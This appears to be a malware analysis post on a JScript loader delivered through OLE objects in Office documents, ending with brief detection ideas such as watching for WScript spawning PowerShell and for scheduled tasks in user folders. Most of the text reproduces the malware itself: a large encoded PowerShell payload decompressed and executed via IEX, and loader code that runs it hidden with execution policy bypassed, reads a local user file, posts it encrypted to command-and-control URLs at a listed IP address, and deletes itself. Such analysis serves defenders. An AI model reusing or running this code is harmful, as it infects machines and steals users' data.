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
'@
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);
$UncompressedFileBytes = New-Object Byte[](63149)
$DeflatedStream.Read($UncompressedFileBytes, 0, 63149) | Out-Null
([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX
";
 var jsLoaderPS1 = "59d76612d0bf51.62744684.ps1"; 
 var jsLoaderRunDir = "{453359DE-4049-82E2-E58D-F96EEF430F04}";
 
 var fldr = sh.ExpandEnvironmentStrings("%HOMEPATH%") + "\\" + jsLoaderDir + "\\" + jsLoaderRunDir;
 
 if (fso.FolderExists( sh.ExpandEnvironmentStrings("%WINDIR%") + "\\SysWOW64" ))
       var powershell_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"; 
    else 
        var powershell_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";

 var p = fldr + "\\" + jsLoaderPS1; 
 
 var vers = "3";
 var uuid = "1";
 var com_pref = "oc06";
 var botSufx = "_oOG4DHP3g";
 var kkid = "203";
 var alfIn  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
 var alfOut = "Dt4bzk9T0fOQVvo2Mw1JgnZR5PhFaBG3cYWiUAjHNIdXCql8rspSLEuy7x6mKe";
 var sepr = "%SEPR%";
 var botId = cuid() + botSufx;
 botId = vers + "-" + uuid + "-" + com_pref + "-" + botId;
 var urlArr = [];
 urlArr[0] = "http://31.148.220.215:80/cd";
urlArr[1] = "http://31.148.220.215:443/cd";
urlArr[2] = "http://31.148.220.215:8080/cd";
urlArr[3] = "http://31.148.220.215:53/cd";
urlArr[4] = "google.com";

 
 pausecomp( 2 * 60 * 1000 );
 
 var f = fso.OpenTextFile(p,2,1);
 f.Write( b64dec(PS1Body) );
 f.Close(); 

 cmd = powershell_pthpath + ' -version 2.0 -NoP -NonI -ExecutionPolicy Bypass -WindowStyle Hidden -File "' + p + '"';
 sh.Run(cmd, 0, false);
 
 pausecomp( 5 * 60 * 1000 );
 try{ fso.DeleteFile(p, true); }catch(e){}
 
 var usrName = sh.ExpandEnvironmentStrings("%USERNAME%");
 p = sh.ExpandEnvironmentStrings("%APPDATA%") + "\\" + usrName + ".ini"; 
 var outData = readFile(p); 

 try{ fso.DeleteFile(p, true); }catch(e){} 
 var contentsHtml = "";

 outData = b64enc(outData);
 outData = "stels" + sepr + outData;
 var entry = randomParamName();
 var v = encodeURI(SimpleEncrypt(outData))
 contentsHtml = downLoadUrl("POST", urlArr, randomUrl(botId), entry + "=" + v);
 
 fso.DeleteFile(WScript.ScriptFullName, true); 
}catch(e){}
*/}).toString().slice(16,-4);

try {
 lalala();
} catch(e) {
 eval(evalString); 
}

The payload is dropped from the IP  31.148.220.215/cd as can be seen in the script above.

To detect this threat, as it has a very unique Schedule Task, can be detected checking all the schedule tasks with the string "user\", where the maliciuos script is allocated. For example, the following PowerShell command could be executed with a script across different system




What other useful Use Cases can be used to detect this threat?

Any JS script executed using a TXT file is an anormal behaviour, for example:





Any Wscript command spawing PowerShell



Any created schedule tasks which uses a file from a user directory





The technique of embedding malicious code in office document via OLE objects is not new at all. Monitoring the processes created by office applications or WScript commands executed is a good source of spotting malicious activity. The schedule tasks in user space is also a good source of potential maliciuos activity.